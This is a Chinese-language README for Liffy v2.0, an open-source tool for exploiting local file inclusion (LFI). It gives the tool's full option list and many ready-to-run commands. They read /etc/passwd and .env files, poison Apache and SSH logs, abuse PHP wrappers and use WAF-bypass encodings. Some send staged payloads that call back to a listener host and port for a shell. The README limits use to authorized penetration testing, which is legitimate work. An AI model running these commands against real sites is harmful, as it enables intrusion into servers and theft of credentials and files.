

一款功能强大的 Python 本地文件包含(LFI)利用工具,具备 WAF 绕过、编码技术以及全面的漏洞检测等高级功能。
Liffy v2.0 是对 liffy 的重大增强版本,原始版本由 rotlogix/liffy 创建。此版本包含了现代化功能,如 Rich 终端输出、YAML 配置、增强的线程管理以及多种高级利用技术。
⚠️ 大量新变更采用 vibe coding 方式完成。
确保你使用的是 Python 3。Liffy 不支持 Python 2。以下示例使用 uv run python,以便命令在项目环境内运行。
# 如果尚未安装 uv,请先安装
curl -LsSf https://astral.sh/uv/install.sh | sh
# 克隆仓库
git clone https://github.com/mzfr/liffy
cd liffy
# 使用 uv 创建虚拟环境
uv venv
# 从 pyproject.toml 安装依赖
uv sync
# 运行 liffy
uv run python liffy.py --help
uv run python liffy.py <URL> [选项]
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
[-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
[--detection] [--null-byte] [--zip] [--encoding]
[--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
[--headers HEADERS] [--lhost LHOST] [--lport LPORT]
[--read-file READ_FILE] [-y] [--timeout TIMEOUT]
[--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
[--oob] [--oob-url OOB_URL] [--blind] [--auto]
[--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
[--quiet] [--no-color] [--no-banner] [--config]
[url]
positional arguments:
url 要测试 LFI 的 URL
核心技术:
-d, --data 使用 data:// 技术
-i, --input 使用 input:// 技术
-e, --expect 使用 expect:// 技术
-f, --filter 使用 filter:// 技术
-p, --proc 使用 /proc/self/environ 技术
-a, --access Apache 访问日志技术
--ssh SSH 认证日志投毒
-dt, --directorytraverse 测试目录遍历
--null-byte 测试空字节注入
--zip 测试 ZIP 包装器利用
--wrappers, --wrapper 检测常见 LFI 流包装器
--wrapper-list WRAPPER_LIST
自定义包装器探测 Payload 列表路径
--oob 发送带外回调探测
--oob-url OOB_URL OOB 回调基础 URL
--blind 运行盲 LFI 响应差异检测
--blind-list BLIND_LIST
自定义盲 LFI 探测列表路径
--auto 运行安全的自动扫描计划
高级选项:
--encoding 使用高级编码/绕过技术
--waf-bypass 使用 WAF 绕过技术
--method {GET,POST} 使用的 HTTP 方法(默认:GET)
--post-data POST_DATA POST 数据(格式:key=value&key2=value2)
--headers HEADERS 自定义 Header(格式:Header1:Value1,Header2:Value2)
--detection 仅执行 LFI 检测,不进行利用
请求选项:
--timeout TIMEOUT HTTP 请求超时时间(秒)
--proxy PROXY HTTP(S) 代理 URL,例如 http://127.0.0.1:8080
--verify-tls 验证 TLS 证书,而不是使用不安全的请求
--user-agent UA 自定义 User-Agent Header
--delay DELAY 请求之间延迟(秒)
--retries RETRIES 每次 HTTP 请求重试次数
自动化选项:
--lhost LHOST 分阶段 Payload 的回调主机
--lport LPORT 分阶段 Payload 的回调端口
--read-file PATH 通过 filter:// 读取的文件路径
-y, --yes 使用默认值回答提示并非交互式运行
--json 输出 JSON 运行摘要
--output OUTPUT 将 JSON 运行摘要写入文件
--quiet 抑制正常终端输出
通用选项:
-ns, --nostager 直接执行 Payload,不使用分阶段器
-r, --relative 使用路径遍历序列进行攻击
-l, --location LOCATION 目标文件路径(access log、auth log 等)
--cookies COOKIES 用于认证的会话 Cookie
-t, --threads THREADS 使用的线程数(默认:5)
--no-color 禁用彩色输出
--no-banner 禁用横幅显示
--config 创建默认 YAML 配置文件
创建包含持久设置的配置文件:
uv run python liffy.py --config
这将创建包含默认设置的 liffy_config.yaml:
# Liffy 配置文件
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0
设置 disable_banner: true 可在默认情况下隐藏启动横幅/徽标。CLI 标志仍会覆盖配置值,因此你也可以在单次运行时使用 --no-banner、--no-color 或 --quiet。
你也可以使用环境变量:
LIFFY_THREADS - 线程数LIFFY_RATE_LIMIT - 速率限制延迟LIFFY_NO_COLOR - 禁用颜色(true/false)当启用 --waf-bypass 时,liffy 会自动应用多种规避技术:
/**/、#、;file:///、pHp://./、../、空字节使用 --encoding,liffy 应用高级编码方法:
%252e%252e%252f\u002e\u002e\u002f..%2F、..%2f../# POST 带表单数据
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"
# POST 带自定义 Header
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"
# 通过本地代理发送流量并重试临时失败
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
--proxy "http://127.0.0.1:8080" --timeout 20 --retries 2
# 使用固定的 User-Agent 和自定义请求延迟
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
--user-agent "liffy/2.0" --delay 0.5
uv run python liffy.py "http://example.com/page.php?file=" -d
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
--post-data "action=read&file=../../etc/passwd" \
--headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"
uv run python liffy.py "http://example.com/page.php?file=" -a
uv run python liffy.py "http://example.com/page.php?file=" --ssh
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"
uv run python liffy.py "http://example.com/page.php?file=" -d -r
uv run python liffy.py "http://example.com/page.php?file=" -dt
uv run python liffy.py "http://example.com/page.php?file=" --null-byte
uv run python liffy.py "http://example.com/page.php?file=" --zip
uv run python liffy.py "http://example.com/page.php?file=" --wrappers
包装器检测使用安全的默认探测针对 file://、php://filter、data://、php://temp、php://memory 及相关包装器。zip://、phar:// 和 glob:// 被视为信息性/条件性的,因为它们通常需要目标侧的文件或暴露列表的接收行为。
你可以提供自定义的包装器 Payload 列表。如果省略 --wrapper-list,liffy 将回退到内置探测:
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
--wrapper-list payload_wordlists/wrappers.txt
每个非空行可以是原始 Payload 或 name=payload 格式:
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini
uv run python liffy.py "http://example.com/page.php?file=" --oob \
--oob-url "https://example.oast.site"
配合 HTTP/DNS 回调监听器使用。Liffy 发送 URL 包装器风格的 Payload,由你验证目标是否回调。
uv run python liffy.py "http://example.com/page.php?file=" --blind
盲检测将现有文件探测与随机缺失文件基线进行比较,并在内容未直接回显时报告状态、长度或时间差异。
你可以提供自定义的盲探测列表。如果省略或为空,liffy 使用内置探测:
uv run python liffy.py "http://example.com/page.php?file=" --blind \
--blind-list payload_wordlists/blind_lfi.txt
每个非空行可以是原始 Payload 或 name=payload 格式:
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env
uv run python liffy.py "http://example.com/page.php?file=" --auto
--auto 启用仅检测的目录遍历、包装器检测和盲检测。如果同时提供了 --oob-url,还将包含 OOB 探测。
uv run python liffy.py "http://example.com/page.php?file=" \
-d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
--encoding --waf-bypass --detection
uv run python liffy.py "http://example.com/page.php?file=" -d \
--cookies "PHPSESSID=abc123; auth_token=xyz789"
uv run python liffy.py "http://example.com/page.php?file=" -d \
--lhost 10.10.14.2 --lport 4444 --yes
uv run python liffy.py "http://example.com/page.php?file=" -f \
--read-file /etc/passwd --yes
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
--output findings.json
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json
以下默认位置在未指定自定义路径时使用:
/var/log/auth.log/var/log/apache2/access.log/var/log/httpd/access_log我们欢迎贡献!以下是你提供帮助的方式:
如有任何问题或建议,欢迎提出问题!
Liffy 的检测模式提供全面的漏洞分析:
/etc/passwd 内容[+] 漏洞摘要
==================================================
[1] 发现漏洞
Payload: ../../etc/passwd
置信度: 85%
证据: Linux /etc/passwd 文件: root:
状态码: 200
内容长度: 1547
# 使用 WAF 绕过技术
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass
# 减少线程数并增加延迟
uv run python liffy.py "http://target.com/lfi.php" -d -t 1
# 在配置文件中增加延迟
max_threads: 2
rate_limit_delay: 1.0
如需详细输出,可修改配置:
debug_mode: true
verbose_output: true
Liffy 仅设计用于授权的安全测试。
作者不对工具的滥用负责。
本项目采用 GNU 通用公共许可证 v3.0 - 详情请参阅 LICENSE 文件。